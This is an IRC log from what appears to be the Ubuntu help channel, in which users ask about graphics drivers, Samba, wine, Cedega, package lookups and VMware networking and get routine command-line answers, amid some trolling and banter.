[02:51] <black_abaddon> why not
[02:52] <Bluedog> thanks :)
[02:52] <itanshi> hello, i am looking for something comparable to window maker for edgy eft. window maker itself is hard to find and windowmaker.org is dead so i need help x_x
[02:52] <oidia> black_abaddon: computers are evil
[02:52] <user01> hakrzcode: it was just working though with totem...
[02:52] <Squee> Hansel: It works for a while... but then just shuts off.  I've formatted once to try to clear this problem.  the livecd works perfectly as well.... usually intel is pretty good for this stuff
[02:52] <Hansel> itanshi, if you want something BASIC then blackbox is a good choice.
[02:52] <hakrzcode> user01, yes, it is sometimes hit and miss with the videos.
[02:53] <black_abaddon> if you dont have a computer how come you are on ubuntu? and my iq is 125
[02:53] <itanshi> I'll try it, just looking for some way to have many desktop backgrounds
[02:53] <mafu> Does anyone have a good guess on where under /dev an internal card reader can be found?
[02:53] <Madm3rlin> sudo apt-get install linux-restricted-modules-<your-kernel-version> xorg-driver-fglrx
[02:53] <toulouse> hey guys im trying to install another linux, but i dont know what to do about the swap-do i need to make another for the other linux?
[02:53] <Hansel> mafu - /dev/sda
[02:53] <user01> hakrzcode: so basically the vlc mozilla plugin is worthless?
[02:53] <ikooki> nope
[02:53] <Madm3rlin> 2.6.17-10-powerpc  goes where <your kernel here> ?
[02:54] <Squee> Madm3rlin: No, linux-swap is for all distros i know of
[02:54] <ikooki> dev
[02:54] <mafu> Hansel, that's my harddrive. I tried sdb, no luck
[02:54] <ikooki> mmcblk
[02:54] <hakrzcode> user01, unfortunately, it is.
[02:54] <toulouse> oh ok
[02:54] <toulouse> hmmm.
[02:54] <CyfrMonk> hakrzcode: you the one that told me to post my xsession-errors to pastebin? I crashed X and didn't have logging on ...
[02:54] <Squee> Madm3rlin: wrong person
[02:54] <Madm3rlin> lol
[02:54] <Hansel> mafu - sda?
[02:54] <Hansel> it's usually an sd...
[02:54] <Squee> toulouse: Linux swap should work just fine
[02:54] <Madm3rlin> but yeah what goes where your kernel version here
[02:54] <Madm3rlin> the whole thing in uname or just 2.6.17.10
[02:54] <toulouse> the graphical partitioning tool also tells me (on the live cd) that my hard drive is full--this is not the case, any suggestions
[02:54] <hakrzcode> CyfrMonk, it crashed before logging in?
[02:54] <crimsun> user01: it's fixed in feisty's.
[02:54] <mafu> Hansel, I'll try a few more. :)
[02:54] <black_abaddon> if a computer is bigger does that mean that it is better to?
[02:54] <Hansel> mafu - try sda, sga, etc
[02:55] <james> how do i use frost on freenet?
[02:55] <CyfrMonk> no - my screen saver activated - it is an opengl screen saver - so X died...
[02:55] <user01> crimsun: thats the next release?
[02:55] <Bluedog> If I add backports, how can I tell if a package im looking at is from backports, or the tested repositoriees?
[02:55] <crimsun> user01: in late april.
[02:55] <Hansel> black_abaddon, size only matters in bed... you can have a 486 running in a massive box... doesn't make it "better"
[02:56] <Hansel> Bluedog - you try to apt-get install  :P
[02:56] <black_abaddon> really
[02:56] <Madm3rlin> anyone
[02:56] <hakrzcode> CyfrMonk, if you can switch to Console, before you log back in, then copy the .xsession-errors to another file, then log in, then it will be better. .xsession-errors gets rewritten everytime you log in.
[02:56] <Bluedog> I'd obv. rather install the old packages unless I need to install the untested ones, how can I tell what I'm getting? :)
[02:56] <black_abaddon> wow you are smarter than me.damn
[02:56] <Hansel> black_abaddon, old mainframes used to take up entire rooms... compared to your desktop those are considered slow.  :)
[02:56] <Hansel> black_abaddon, pretty much.
[02:56] <CyfrMonk> hakrzcode: yea - I realized that so I did just that - the file is at http://pastebin.com/857274
[02:57] <user01> crimsun: ok i need to learn how to program i feel like a worthless end user that finds bugs
[02:57] <cappiz> someone knows how i can get a "toolbar" like OSX with "jumping" icons etc
[02:57] <Madm3rlin> how  fast should glxgears be going if my vid card is set up correctly
[02:57] <Hansel> cappiz - install enlightenment dr17
[02:57] <black_abaddon> i am here to give you gays some fun
[02:57] <itanshi> Oo
[02:57] <cappiz> like at http://www.gnome-look.org/content/files/48403-topaz.jpg
[02:57] <black_abaddon> love&peace
[02:57] <cappiz> does that work with beryl?
[02:57] <CyfrMonk> hakrzcode: I also diff'd my xorg.conf against the backup copy that was made before the xorg patch today and it shows no differences
[02:57] <Hansel> black_abaddon, trolling is a very admirable trait.
[02:57] <Madm3rlin> anyone :ol
[02:58] <hakrzcode> CyfrMonk, pastbin.com, does not like me for some reason, please use http://paste.ubuntu-nl.org/
[02:58] <mafu> Hansel: still no luck, tried all sorts of hda, hdb, sda, sdb, sdc, sga .. Any more?
[02:58] <Bluedog> hmm I feel stupid.. cant figure out how to add it, edgy doesnt match the guide on the backports link
[02:58] <black_abaddon> my english is not so gut i dont know what trolling means
[02:58] <Hansel> mafu - have you ever had it mounted before?
[02:58] <hakrzcode> CyfrMonk, yes, Xorg.log is only for the startup of X.
[02:58] <user01> hakrzcode: kaffeine requires kde libraries?
[02:58] <black_abaddon> and i listen to in flames
[02:58] <cappiz> Hansel, does it work with beryl=
[02:58] <cappiz> ?
[02:58] <Hansel> /var/log/messages and search around for the module being loaded/unloaded in there...
[02:58] <Bluedog> ignore me, found the checkbox for backports :)
[02:59] <mafu> Hansel: I'm on xubuntu now.. My old kubuntu installation found it automagically.
[02:59] <Hansel> cappiz - I imagine so.
[02:59] <cappiz> k
[02:59] <mafu> Hansel: the cardreader is listed under lspci, so it's found
[02:59] <hakrzcode> black_abaddon, in our german childrens stories, there is a troll that lives under the bridge. he is really nasty. Basically a troll is someone that is in the room, trying to start a fight. trolling, is the act of being a troll.
[02:59] <CyfrMonk> hakrzcode: I think the error line is: Vte-WARNING **: No handler for control sequence `device-control-string' defined.
[02:59] <CyfrMonk> hakrzcode: everything else looks "normal"
[02:59] <hakrzcode> user01, yes, but worth it.
[03:00] <Madm3rlin> can anyone help
[03:00] <hakrzcode> ok, CyfrMonk. Looking.
[03:00] <knoppix_> help with what
[03:00] <admin_> Hello, I'm trying to use the make command, it gives me this error in return: admin@UBUNTUboxx:~/osx/baghira$ make -f Makefile.cvs
[03:00] <Madm3rlin> seeing if my video card is set up properly
[03:00] <admin_> This Makefile is only for the CVS repository
[03:00] <admin_> This will be deleted before making the distribution
[03:00] <admin_> make[1] : admin/Makefile.common: No such file or directory
[03:00] <Madm3rlin> dude
[03:00] <Madm3rlin> dont spam
[03:00] <admin_> make[1] : *** No rule to make target `admin/Makefile.common'.  Stop.
[03:00] <Madm3rlin> .
[03:00] <admin_> make: *** [all]  Error 2
[03:00] <Bluedog> jrib: thanks, backported one worked :D
[03:00] <Bluedog> good man
[03:00] <admin_> Sorry
[03:01] <CyfrMonk> hakrzcode: http://paste.ubuntu-nl.org/1254/    man that site is faster ... they must run on ubuntu ;)
[03:01] <black_abaddon> hakrzcode: i am not trying to start a fight, this room is just more interesting to me.and how can i know about that german story i am from croatia and i dont read german writers
[03:01] <Hansel> admin_, just make ... no need to pass the -f
[03:01] <knoppix_> does everyone here use ubuntu
[03:01] <admin_> oh ok, cause sire said that :P
[03:01] <Hansel> knoppix_, most likely... why do you ask?
[03:01] <admin_> thanks Hansel , i'll try it
[03:01] <CyfrMonk> hakrzcode: the "bad device errors" near the middle are because I don't have my wacom plugged in - they happen all the time
[03:01] <Madm3rlin> so how can i see if my video card is installed correctly
[03:01] <Bluedog> we hate ubuntu here, please dont mention it
[03:01] <knoppix_> just wondering
[03:02] <user01> i dont understand xubuntu, kunbuntu etc . . . cant you just install whatever desktop on watever one ur using?
[03:02] <Hansel> user01, yeah.  :)
[03:02] <mafu> Hansel: I think I've run out of ideas for tonight. Maybe 3am is the magic time to go to bed. Thanks.
[03:02] <Hansel> user01 - if you apt-get install gnome, kde, and xfce you have kxubuntu  :)
[03:02] <Alakazamz0r> top - 18:17:56 up 292 days, 22:15,  3 users,  load average: 1.25, 1.38, 1.65
[03:02] <Hansel> mafu - probably ...hah
[03:02] <knoppix_> does anyone here use knoppix?
[03:02] <Alakazamz0r> MAN!
[03:02] <Alakazamz0r> whos l33t
[03:02] <Hansel> knoppix_, try #knoppix...
[03:02] <Alakazamz0r> knoppix is outdated.
[03:02] <user01> Hansel: ok i just wanted to make sure i wasnt going crazy...
[03:03] <knoppix_> what do you guys recommend for distros
[03:03] <Madm3rlin>  hello
[03:03] <Madm3rlin> :o
[03:03] <Bluedog> windows vista
[03:03] <Alakazamz0r> knoppix_,  ubuntu
[03:03] <Hansel> 19:03:04 up 2982 days,  1:38,  2 users,  load average: 0.01, 0.04, 0.04
[03:03] <Jram> knoppix_ try Ubuntu
[03:03] <Alakazamz0r> windows 98se
[03:03] <knoppix_> ive tried ubuntu but what else
[03:03] <Madm3rlin> sigh
[03:03] <user01> Hansel: they should just call it ubuntu and then choose your flavor
[03:03] <hakrzcode> black_abaddon. I am not saying you are starting a fight. In USA, we grew up on Brothers Grimm, a german storyteller. This is where the reference to trolling comes from.
[03:03] <biotrox> kubuntu
[03:03] <mgardner> hey everyone, I've been playing with Beryl, got it working for awhile, now its all wonky.  It seems to crash when I load emerald, I just got a newer gfx card, could this be the problem?
[03:03] <biotrox> edubuntu
[03:03] <Hansel> knoppix_, it all depends on your preferences... asking what we recommend is just going to get you lots of random opinions.
[03:04] <biotrox> xbuntu
[03:04] <biotrox> try those
[03:04] <thisheregiraffe> knoppix_: dreamlinux 2.2 was sorta nice.  try their livecd?
[03:04] <hakrzcode> CyfrMonk, I am looking on Nvidia linux forum.
[03:04] <knoppix_> i dont really have any prefernces .. just something diffenrent from win XP
[03:04] <Hansel> knoppix_, I personally like slackware, ubuntu, redhat, gentoo, and of the BSDs I prefer Free over Open, DragonFly and Net...
[03:04] <black_abaddon> yes but i am not from usa and i grew up on hunter s thomson
[03:05] <black_abaddon> he is amazing
[03:05] <black_abaddon> too bad he killed himself
[03:05] <Madm3rlin> user@Local:~$ glxinfo | grep render
[03:05] <Madm3rlin> direct rendering: No
[03:05] <Madm3rlin> OpenGL renderer string: Mesa GLX Indirect
[03:05] <riotkittie> slack <3
[03:05] <Hansel> black_abaddon, your trolling is getting annoying.  Ready for a /kick or a /kline or take the easy way and /part?
[03:05] <QRZ`> Hi
[03:05] <cokeslut> sup
[03:05] <CyfrMonk> hakrzcode: I can dig around - couldn't find anything about it on ubuntuforums so thought I'd jump on and see if anyone here had the problem
[03:06] <Madm3rlin> black dont fuck with the irc op
[03:06] <hakrzcode> CyfrMonk, no problem.
[03:06] <Trigger242> Can someone explain to me what's wrong with my ktorrent? My mates running it and getting AWESOME down speed. I'm running it and getting crap. And my ports are even forwarded.
[03:06] <CyfrMonk> hakrzcode: it only started after todays xorg patch
[03:06] <mgardner> does anyone know if edgy and the current nvidia binaries in the repository cause problems with a 6600?
[03:06] <black_abaddon> can i just talk about ubutu insted
[03:06] <Madm3rlin> so yeah
[03:06] <black_abaddon> sorry for "trolling"
[03:06] <Madm3rlin> is anyone here familiar with cedega
[03:06] <Madm3rlin> #cedega is dead
[03:06] <factboy818181> um, does anyone know why the lexmark 5270 has problems printing with the lexmark 5200 printer?
[03:06] <CyfrMonk> Madm3rlin: just discontinued my subscription yesterday
[03:07] <jrib> Madm3rlin: you paid for support, use it
[03:07] <Hansel> try #wine... dont tell them you are using cedega... they might have similar errors
[03:07] <Madm3rlin> what
[03:07] <riotkittie> heh
[03:07] <black_abaddon> Madm3rlin: elaborate
[03:07] <CyfrMonk> Madm3rlin: I had to use cedga support just to try to get my subscription turned off ...
[03:07] <NkZ> Greetings guys once again. I restarted my PC and now I can't play any kind of sound.
[03:08] <Madm3rlin> http://pastebin.com/857265
[03:08] <Hansel> NkZ - lsmod
[03:08] <Madm3rlin> if anyone knows why cedega is doing this it would be helpfull
[03:08] <Hansel> NkZ - look for the "word"  snd
[03:08] <riotkittie> doing what?
[03:08] <Madm3rlin> err not launching
[03:08] <Madm3rlin> the pastebin has the error msg
[03:08] <Madm3rlin> http://pastebin.com/857265
[03:09] <NkZ> snd                    58372  8 snd_intel8x0,snd_ac97_codec,snd_pcm_oss,snd_mixe
[03:09] <hakrzcode> Madm3rlin, please make use of http://paste.ubuntu-nl.org/ , pastbin.com is not so friendly to some people today.
[03:10] <Madm3rlin> arg k
[03:10] <Hansel> NkZ - you probably just need to turn the volume up... alsamixer
[03:10] <black_abaddon> Madm3rlin: codega alows you to run windows games on your linux
[03:10] <Madm3rlin> dude
[03:10] <Madm3rlin> are you trolling
[03:10] <Hansel> Madm3rlin,  yes.. he is.
[03:10] <Madm3rlin> omg
[03:10] <Madm3rlin> worst troll ever
[03:10] <NkZ> Will try
[03:10] <hakrzcode> !ops
[03:10] <ubotu> Help! Mez, LjL, elkbuntu, imbrandon, DBO, gnomefreak, Hobbsee, rob, ompaul, Madpilot, Burgundavia, Seveas, CarlK, crimsun, ajmitch, tritium, Nalioth, thoreauputic, apokryphos or tonyyarusso
[03:11] <Hansel> time for the kline...
[03:11] <Madm3rlin> gline
[03:11] <Madm3rlin> rofl
[03:11] <Hansel> serious
[03:11] <CyfrMonk> Madm3rlin: looks like cedga is having trouble because it is measuring your CPU speed and coming up with 999.x MHz when it is expect GHz
[03:11] <hakrzcode> ops, time for black_abaddon, to go to sleep...
[03:11] <NkZ> Ehh.... Sound plug was off....
[03:11] <black_abaddon> men it sais on net that codega helps you run your window gaames
[03:11] <Madm3rlin> cedega supports ppc ,right?
[03:11] <NkZ> Sorry for the stupid issue. ^_^
[03:11] <black_abaddon> please dont kick me yet
[03:11] <Hansel> black_abaddon, obviously... he wouldn't download it and be trying to run it for giggles if you he had no idea what it was.
[03:11] <CyfrMonk> Madm3rlin: when it tries to interpret 999.x as GHz it seems impossibly fast ?
[03:12] <Madm3rlin> so is there a config file to edit
[03:12] <Madm3rlin> err
[03:12] <Madm3rlin> or am i fuxed
[03:12] <black_abaddon> well i am yist trying to help
[03:12] <NkZ> Thanks guys!
[03:12] <Madm3rlin> you can help by /quit
[03:12] <Hansel> black_abaddon, no you aren't.  You are trolling and have been trolling for over 20 mins now.
[03:13] <black_abaddon> damn
[03:13] <NkZ> Oh, last Question! I heard that Beryl has Issues With Cedega: How can I solve those Issues?
[03:13] <noodles12> Under powersaving modes in in ubuntu, the lowest clock speed is 996 mhz. Using NHC in windows the lowest i could clock it to was 690mhz. Why can't i get that low in Ubuntu? ( i have a duo core t2400)
[03:13] <black_abaddon> i ll stop typing and yust read
[03:13] <CyfrMonk> Madm3rlin: the FAQ for cedga says it does not work on PPC
[03:13] <Madm3rlin> ugh
[03:13] <Madm3rlin> sigh
[03:13] <Lam_> how do i copy stoff to a samba share via terminal?
[03:13] <Madm3rlin> so thats that =\
[03:13] <Hansel> Lam_, man cp
[03:14] <diederick> hi all
[03:14] <Lam_> Hansel: i know how to use cp. i don't know how to copy TO a samba share though
[03:14] <hakrzcode> Lam_ smbclient
[03:14] <Hansel> ahh...
[03:14] <Lam_> hakrzcode: thanks
[03:14] <hakrzcode> Lam_ No prob.
[03:14] <MrOregon> how do I get the webcam to work?
[03:14] <CyfrMonk> Madm3rlin: they have some closed-source code in the software and I bet it doesn't compile on PPC.
[03:14] <diederick> I'v just installed ubuntu efty, and trying to tweak my video card ... I've got a msi 7600GT. Can I somewhere check if there is a supported driver?
[03:15] <Madm3rlin> hah
[03:15] <kupesoft> is a system's default umask set in /etc/login.defs
[03:15] <Madm3rlin> good thing i didnt buy cedega
[03:15] <CyfrMonk> Madm3rlin: http://www.transgaming.com/index.php?module=ContentExpress&func=display&ceid=36&meid=#7
[03:15] <Bluedog> I know this is asked all the time, whats a good temp monitoring prog for ubuntu?
[03:15] <CyfrMonk> Madm3rlin: see #8 on the FAQ
[03:15] <Hansel> !webcam
[03:15] <ubotu> webcam is now easy to install on Linux; instructions at https://help.ubuntu.com/community/Webcam Supported cams: https://wiki.ubuntu.com/HardwareSupportComponentsMultimediaWebCameras
[03:15] <Hansel> MrOregon,  read up
[03:15] <noobcook> hey ppl
[03:15] <Madm3rlin> but cider will work
[03:16] <Oni-Dracula> i hate restarting my ubuntu box
[03:16] <noobcook> whats the command to check what ver of kernal u have
[03:16] <Madm3rlin> thats an intel mac though
[03:16] <Madm3rlin> hmm
[03:16] <Hansel> uname -ar
[03:16] <Oni-Dracula> xorg keeps breaking >_<
[03:16] <Madm3rlin> looks like this wont work
[03:16] <Madm3rlin> sighz0e
[03:16] <NkZ> When trying to move files to my HDB (Mounted) It will say "You do not have permissions to write to this folder."
[03:16] <hakrzcode> noobcook, uname -r
[03:16] <Madm3rlin> thx for all your help guys
[03:16] <CyfrMonk> Madm3rlin: dont give up - if you have a compiler you can fix any thing ;)
[03:16] <CyfrMonk> Madm3rlin: ok, except on a PPC...
[03:16] <noobcook> thanks
[03:17] <hakrzcode> !uname | Hansel
[03:17] <ubotu> Sorry, I don't know anything about uname - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:17] <noobcook> also im having some trouble compiling Xine on ubuntu can anyone offer some hints?
[03:17] <Hansel> hakrzcode, ?
[03:17] <Squee> NKZ: type "sudo -i" then do it
[03:17] <Madm3rlin> er so there is a way
[03:17] <Madm3rlin> or no
[03:17] <hakrzcode> hmmm, Hansel, -a overrides -r , in uname: -a is all, -r is revision
[03:17] <kinjo_> how do i unrar multiple files..?
[03:17] <NkZ> Squee: That will work even if moving the file via nautilus?
[03:17] <diederick> oh man ! I just installed ubuntu and its so faaaaassstt!
[03:18] <Squee> NKZ: start nautilus as root
[03:18] <kinjo_> its in hte form of r00 to r45
[03:18] <Squee> just be careful
[03:18] <NET||abuse> hey guys :), having fun here, i ran the upgrade proceedure on my laptop from dapper to edgy,, didn't go so well :(
[03:18] <hakrzcode> diederick, but can it blend?
[03:18] <diederick> blend?
[03:18] <mgardner> haha
[03:18] <mgardner> www.willitblend.com
[03:18] <noobcook> !xine
[03:18] <ubotu> Sorry, I don't know anything about xine - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:18] <NkZ> Squee: Any way to give me root powers to write to HDB? I tend to avoid root (Kind of a wuss)
[03:18] <NET||abuse> so i need to figure out how to get things working on my desktop again :P
[03:19] <NET||abuse> when i try to start programs, they just don't appear.
[03:19] <Squee> NKZ: not that i know of
[03:19] <diederick> restarting..
[03:19] <Hansel> NET||abuse, pull up a terminal and try starting them... see if they return any errors
[03:19] <doofy2> how do you add music to presentations in oo so that it plays throughout the slide show?
[03:19] <Hansel> or can you not even pull up an xterm?
[03:19] <NET||abuse> the task bar shows the "starting firefox" or whatever, but that vanishes and nothing :(
[03:19] <NkZ> Squee: Thanks Anyways. :-) I will see if someone on the forums has my same issue.
[03:19] <Hansel> NET||abuse, you aren't by chance using KDE are you?
[03:20] <mag_> hey do you know someting about ACL's in samba ? I need help !
[03:20] <NET||abuse> Hansel, can't do didly on the desktop, im on tty2 at themo in ircii
[03:20] <Hansel> !samba
[03:20] <ubotu> samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[03:20] <NET||abuse> Hansel, no i'm on gnome
[03:20] <hakrzcode> !samba | mag_
[03:20] <ubotu> mag_: samba is is the way to cooperate with Windows environments. Links with more info: https://wiki.ubuntu.com/MountWindowsSharesPermanently and http://help.ubuntu.com/ubuntu/serverguide/C/windows-networking.html - Samba can be administered via the web with SWAT
[03:20] <NET||abuse> apt has a few problems,
[03:20] <noobcook> can anyone help compile xine on ubuntu?
[03:20] <Hansel> hakrzcode, s/|/>
[03:20] <NET||abuse> giving out about various python packages that arn't installing quite right
[03:21] <hakrzcode> mag_, otherwise that is an advanced subject for samba, best to read the samba docs on that.
[03:21] <mag_> ubotu: Yes I know , now I have samba but my problem is some different I need to have a list control accses
[03:21] <rioghal> noobcook, xine is in the repos. Why are you compiling it?
[03:21] <noobcook> it is rioghal?
[03:21] <Q_Continuum> How can I get a root file browser?  I can't seem to unpack an update to UT2004 without it going into its own folder, and I'm not going to manually move each file in the update...
[03:21] <noobcook> o man
[03:21] <rioghal> noobcook, yeah, hold on..
[03:21] <noobcook> ok
[03:21] <kupesoft> What's the best way to set up a system where users have no access to others files but share a common web server?
[03:21] <hakrzcode> Hansel, pipe the name to the command for personal referencing. just doing the samba bit, does not let them know it is for them.
[03:21] <Bluedog> I know this is asked all the time, whats a good temp monitoring prog for ubuntu?
[03:21] <noobcook> rioghal i reinstalled lol
[03:22] <rioghal> noobcook, xine is in the universe repo, enable universe and do: sudo aptitude install xine-ui
[03:22] <user01> how do i split apart what plugin in mozilla takes what task if i have two plugins that could do either?
[03:22] <mag_> hakrzcode: yes I was reading someting on samba but the infortmation is not clear for me, can you help me with ACL's ?
[03:22] <rioghal> noobcook, You did?
[03:22] <noobcook> ok
[03:22] <noobcook> yeh
[03:22] <pr3d4t0r> Have a good evening, gang.
[03:22] <nhaines> user01: you mean for media files?  I don't think there is a way to do that.
[03:22] <noobcook> doing fresh installs now that i know what i need to do
[03:22] <rioghal> noobcook, you use apt-get or aptitude?
[03:22] <noobcook> aptitude
[03:23] <user01> nhaines: yeah i want vlc to handle most things except for quicktime that totem does better
[03:23] <hakrzcode> mag_ , I know what you mean, but I have not used ACLs with Samba, so unless someone here volunteers, I am not sure of the help you will get.
[03:23] <noobcook> apt get is anoying
[03:23] <juano> someone knows how to fix IP-restrict-NAT for webcam in amsn? i=m having this issue since im behind a router, thanks
[03:23] <Hansel> apt-get works as intended.
[03:23] <rioghal> noobcook, you can search for a particualr app with: aptitude search appname
[03:23] <diederick> hi all
[03:23] <Hansel> hi again diederick
[03:23] <aib> how can I tell what package provides a particular file? e.g., Xrender.h. I know it's probably a -dev
[03:23] <hakrzcode> noobcook, when you get used to apt-get, then you will really be cooking.
[03:23] <noobcook> ah ok cool
[03:23] <rioghal> noobcook, if you can't find an app, you might need to enable a repo
[03:24] <Flannel> aib: packages.ubuntu.com has a search (scroll down)
[03:24] <NET||abuse> from what i've read, aptitude will remove unneeded packages automatically
[03:24] <diederick> I've just installed the nvidia-glx package, and I try to do a "sudo nvidia-glx-config enable", but I get this error: sudo nvidia-glx-config enable
[03:24] <NET||abuse> apt-get is a little less useful that way
[03:24] <diederick> uhh w8
[03:24] <mag_> hakrzcode: do you know someone that can help me ?
[03:24] <aib> i can't do it from the command-line?
[03:24] <diederick> this: Error: unable to load nvidia kernel driver! Be sure to have installed
[03:24] <hakrzcode> mag_ , no sorry.
[03:24] <wadoo> hi all
[03:24] <aib> on fedora, i used to type `yum provides xrender.h'. there is no equivalent in debian-land?
[03:24] <NkZ> Squee: I solved it Squee. It was a command line. I will give it to you in case someone else asks.
[03:25] <Flannel> aib: only if you've already installed the package.  apt doesn't download any information about the contents of a package until it's installed
[03:25] <noobcook> rioghal: i did
[03:25] <cafuego> aib: apt-file
[03:25] <Hansel> aib - I believe dpkg -l
[03:25] <mag_> hakrzcode: ok thank's :P
[03:25] <NET||abuse> ug, ircii is kinda muck,, any console based irc clients that'll color things ??
[03:25] <noobcook> rioghal: i found out the hardway you cant install custom drivers when u are booted in install mode
[03:25] <diederick> someone?
[03:25] <wadoo> hi all i need help with some things.
[03:25] <juano> diederick: probably edit /etc/X11/xorg.conf and change "nv" for "nvidia"
[03:25] <diederick> oke
[03:25] <wadoo> i soo new on this
[03:25] <cafuego> aib: You need to install apt-file, then run 'apt-file update' and 'apt-file search <string>'
[03:25] <NkZ> sudo chown -R (username) /(folder you want to write) Example : sudo chown -R francisco /storage
[03:25] <aib> cafuego, thanks
[03:25] <rioghal> NET||abuse, the version of apt-get in Edgy can do that too, you need to use the --auto-remove option to do that in Edgy.
[03:25] <juano> diederick: at driver in card section
[03:26] <rioghal> noobcook, Live and learn 
[03:26] <cafuego> aib: If the file already exists, you can check where it came from via dpkg -S /path/to/file
[03:26] <wadoo> if is posible to install alias maya 7 on ubuntu 6.10
[03:26] <cafuego> kinjo: unrar e file.r00
[03:26] <noobcook> rioghal: its hard to sleep now i lie in bed thinking of all the possible things i could try to install this and get that to work and to do this and that
[03:26] <NkZ> Squee: In case someone else has Issues mounting HDs on Ubuntu Here is a good page you can foward them to: http://daryl.learnhouston.com/2006/05/03/adding-a-hard-drive-to-a-ubuntu-linux-box/
[03:26] <hakrzcode> kinjo, unrar whatever.rar, will reference all the multiples.
[03:27] <NET||abuse> ug,, i'm pooped, think i'll work on this tomorrow..
[03:27] <bruenig> you need the e
[03:27] <NET||abuse> night all,,,
[03:27] <kinjo> cafuego, ah thx...was trying unrar -e....
[03:27] <Double_D> anyone: is anyone else having problems with X coming back from hibernation the last couple days?
[03:27] <diederick> juano I see: Section "Device" with an entry "driver" (with nv) do I need to change that?)
[03:27] <juano> !rar | kinjo
[03:27] <ubotu> kinjo: rar is a non-free archive format created by Rarsoft. For instructions on accessing .rar files through the Archive Manager view https://help.ubuntu.com/community/FileCompression. There is a free (as in speech) unrar utility as well, see !info unrar-free
[03:27] <bruenig> Double_D, the only way that would make sense is if there was an upgrade, was there?
[03:27] <juano> diederick: yeah, change "nv" for "nvidia"
[03:27] <NkZ> Thanks! Have a good night now. All take care!
[03:27] <wadoo> and how to use .exe?
[03:27] <Double_D> bruenig: there were updates, yes.
[03:27] <juano> diederick: that helped me
[03:27] <rioghal> noobcook, Guess what, you're a gook, lol
[03:27] <bruenig> !wine | wadoo
[03:27] <ubotu> wadoo: wine is a compatibility layer for running Windows programs on GNU/Linux. See https://help.ubuntu.com/community/Wine for more information.
[03:27] <rioghal> s/gook/geek
[03:28] <diederick> juano and than? (after changing)
[03:28] <trilliji> !nvidia
[03:28] <ubotu> To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[03:28] <Double_D> bruenig, i also know another person reporting the same issue, so i'm wondering if anyone else is experiencing it.
[03:28] <juano> diederick: if it doesnt help leave it as it was, to apply changes restart X
[03:28] <wadoo> men i soo lost on this but i dont want to get back to windows
[03:28] <Q_Continuum> How can I get Konquror to let me see all the folders on the index on the left, rather than just media and home?
[03:28] <Double_D> bruenig, figured this would be a good place to ask.
[03:28] <noobcook> rioghal AHA its your fault for making me use ubuntu =p
[03:28] <diederick> juano: how can I restart it?
[03:28] <kinjo> cafuego, hey why is it unrar e and not unrar -e???
[03:28] <rioghal> noobcook, It's the best, man
[03:28] <Hansel> wadoo - sudo apt-get install wine..... if you need a wine repository to add to your sources.list let me know and I'll look it up.
[03:28] <bruenig> Double_D, I didn't see an update. I saw a kernel update, probably saw that and ignored the rest
[03:28] <Hansel> wadoo - once wine is installed you just       wine thefile.exe
[03:28] <juano> diederick: ctrl + alt + F1, login, then sudo init 3, then sudo init 5
[03:28] <bruenig> kinjo, the developers made it like that
[03:29] <juano> ctrl + alt + F7 comes back here
[03:29] <juano> ctrl + alt + F7 (GUI)
[03:29] <noobcook> rioghal: its true but er a lot more effort, eg installing cusom this and that btw is vmware in the deb
[03:29] <kinjo> bruenig, oh alright thanks.....
[03:29] <diederick> juano: do I need to update the md5sum?
[03:29] <mgardner> hey I've been following the nvidia discussion that was flying by, I have a question.  I just upgraded my gfx card and I think my drivers/Xorg is freaking out.  Any way to re-install/fix it
[03:29] <aib> cafuego, this only searches packages i already have copies of?
[03:29] <Double_D> bruenig, they were whatever updates i ran two days ago, i think they were four or five days old.  does that sound right?
[03:29] <rioghal> aib, You don't need to install apt-file, you can search for a file with: dpkg -S filename
[03:29] <wadoo> hansel thanks but seems to be that i cant instal wine and i try... im thinking iusin mandrake that i heard someone did it..
[03:30] <Hansel> wadoo - what error do you get when you try installing wine?
[03:30] <Double_D> bruenig, as in originally came out four or five days ago.
[03:30] <juano> diederick: not sure on that one
[03:30] <Hansel> wadoo - by default it's not in the repository so you have to update your sources.list then apt-get update prior to installing.
[03:30] <wadoo> looks like is soemthing with the amd64
[03:30] <aib> ok, i have about a dozen packages i need to locate based on missing files. what's the best way for me to do this?
[03:30] <juano> diederick: !nvidia did you try this?
[03:30] <bruenig> !info wine
[03:30] <MrOregon> good got the webcam working
[03:30] <ubotu> wine: Microsoft Windows Compatibility Layer (Binary Emulator and Library). In component universe, is optional. Version 0.9.22-0ubuntu3 (edgy), package size 9001 kB, installed size 42452 kB
[03:30] <juano> !nvidia | diederick
[03:30] <ubotu> diederick: To install the Ati/NVidia drivers for your video card, see https://help.ubuntu.com/community/BinaryDriverHowto
[03:30] <Graig> hello. i am having a problem with my ati drivers.
[03:30] <Hansel> aib - so you are trying to install a pkg but it complains about missing dependencies?
[03:31] <itsmabus> how do I get networking to work with vmware? if I have a virtual machine with a device bridged to my main internet NIC on the host machine, how do I ping the router/the rest of the net?
[03:31] <juano> diederick: check bots url
[03:31] <diederick> thanx
[03:31] <rioghal> aib, What are you trying to install?
[03:31] <nhaines> itsmabus: Everything should be automatically detected in VMware.
[03:31] <bruenig> wadoo, yeah amd64 is a pain, I would use i386 unless you are really experienced
[03:31] <aib> Hansel, I am trying to install Qt in a very limited dchroot, and based on files that it fails to find, I need to install those packages
[03:31] <bruenig> wadoo, for now at least
[03:31] <Graig> i installed them, and i am getting direct rendering, but the scary thing is. when i run fgl_xgears, it makes a noise from the computer and the framerate stutters, and i cant move the window around.
[03:31] <kupesoft> how do I build a proper chroot'd environment for a new user?
[03:31] <wadoo> oh i have the amd x2 4400
[03:32] <Hansel> kupesoft - that all depends on what "proper" means.
[03:32] <pb> there away to start firestarter when booting up and minimizing it??  I am currectly using:  sudo firestarter --starthidden  / is there a minimized switch??
[03:32] <juano> itsmabus, try route add -net $ipnet -netmask $submask , then try route add default gw $ipgateway
[03:32] <juano> itsmabus: thats inside the virtual machine of course
[03:32] <Hansel> you just want them stuck over in /home/whatever and restricted access to only a few /bin's?
[03:32] <buu> =[
[03:32] <Flannel> pb: why do you want to start firestarter and immediately minimize it?
[03:32] <bruenig> wadoo, right, I would install the 32 bit version
[03:32] <wadoo> well i soo new on linux    a few days using ubuntu
[03:32] <itsmabus> juano: I think it's a problem with my host machine not forwarding the packets on to the gateway
